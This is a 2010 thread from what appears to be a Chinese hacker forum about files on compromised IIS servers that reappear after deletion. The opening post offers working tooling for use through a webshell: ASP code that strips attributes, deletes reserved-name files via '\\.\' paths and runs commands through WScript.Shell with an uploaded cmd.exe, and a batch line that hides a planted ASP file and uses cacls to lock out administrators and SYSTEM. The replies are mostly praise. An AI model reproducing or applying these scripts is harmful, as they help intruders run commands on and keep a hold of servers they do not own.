对于 webshell内文件无限恢复的应付方法
红客吧
全部回复
仅看楼主
level 1
风〓阿呆 楼主
情况是这样,webshell(仅仅是webshell)下有个文件无法删除,无法修改,通过attributes 去除属性后再删除,但瞬间“满血满状态,原地复活了“
貌似以前就遇到过这种情况,当初还跟knell讨论过,一致认为是服务器下有个文件 通过 requst 截取某些参数,然后通过Server.CreateObject("Scripting.FileSystemObject") 来创建这个“无法删除的”文件,接着Attributes设置权限,然后通过外部服务器不断的get,post发包,来让这个文件无限的复活- -
对此,我写了个脚本,经测试,完美阻止这种恶心的攻击方式
Poc.1:
____________________________________________________________________________
Function DelAttrib(TheFile) 'thefile为要修改的文件,大家最好自己写个from表单
response.write "Loading...:"&TheFile&" ...<br>"
set fs=Server.CreateObject("Scripting.FileSystemObject")
IF fs.FileExists("\\.\"&TheFile) then
set f=fs.GetFile("\\.\"&TheFile)
f.Attributes=0 '设置属性
set f=nothing
response.write "Less Success!" '成功后的提示
if Right(TheFile,1)="\" or Right(TheFile,1)="/" or Left(Right(TheFile,4),1)<>"." then
Call fs.DeleteFolder(EE,true)'删除文件
response.write "Delete Success!"
else
IF fs.FileExists("\\.\"&TheFile) then
FN=LCase(Mid(TheFile,InStrRev(Replace(TheFile,"\","/"),"/")+1))
if Instr(FN,"com")<1 and Instr(FN,"con")<1 and Instr(FN,"aux")<1 and Instr(FN,"prn")<1 and Instr(FN,"nul")<1 then
set f=fs.GetFile("\\.\"&TheFile)‘
f.Attributes=0
set f=nothing
end if
fs.Deletefile("\\.\"&TheFile) ‘基于windows保留字命名文件的删除模式
response.write "Delete Success"
else
response.write "Open File Fail!" '错误提示
end if
end if
else
response.write "Open File Fail!"
END IF
Dim CMDShell,StrExec,ExecName
set CMDShell=Server.CreateObject("WScript.Shell") '调用wscript执行Poc.2的bat脚本
StrExec="D:\web\cmd.exe /c"   '这里为自定义的cmd文件
ExecName="D:\web\jfcx\include\a.bat" '这里为上传到服务器的bat脚本
CMDShell.exec(StrExec&" "&ExecName).stdout.readall
set fs=nothing
End Function
_____________________________________________________________________________
Poc.2:
————————————————————————————————————————————
copy d:\web\a.asp \\.\d:\web\b.asp&&attrib \\.\d:\web\b.asp +a +r +s +h&&cacls \\.\d:\web\b.asp /e /d IUSR_WSPC-HVJ5FRCT79&&cacls \\.\d:\web\b.asp /e /g IUSR_WSPC-HVJ5FRCT79:r&&cacls \\.\d:\web\b.asp /e /d users&&cacls \\.\d:\web\b.asp /e /g users:r&&cacls \\.\d:\web\b.asp /e /d system&&cacls \\.\d:\web\b.asp /e /d administrators
此处脚本存为bat,d:\web\a.asp 是自己创建的文件路径 d:\web\b.asp 是自动恢复的文件路径 ,各服务器iis用户组有所不同,请自行修改
————————————————————————————————————————————
2010年05月17日 14点05分 1
level 3
只能看懂,但完全不会写,路过膜拜大牛
2010年05月17日 15点05分 2
level 10
路过膜拜大牛…
2010年05月17日 23点05分 3
level 1
哇!完美解决…还有一个文件也是这样的…思路很好啊。谢啦
2010年05月18日 00点05分 4
level 8
看不懂,但加精是一定的,多谢阿呆能抽空过来。
2010年05月18日 05点05分 5
level 6
看不动[汗]
2010年05月18日 07点05分 6
level 1
[抖胸]
2010年05月19日 10点05分 7
level 7
好书行多读,好贴得多看…
2010年05月25日 10点05分 8
level 7
好,顶了
2010年06月11日 02点06分 9
level 2
如何删除呢。 前提 WEB SHELL里面 不能执行CMD命令 例如文件为lpt1.ssdfssf/这样文件夹   在webshell 隐藏文件夹有写入权限。。webshell 但是无法修改权限,。   我想知道如何 修改 此文件 。。或者删除
2010年06月24日 09点06分 10
1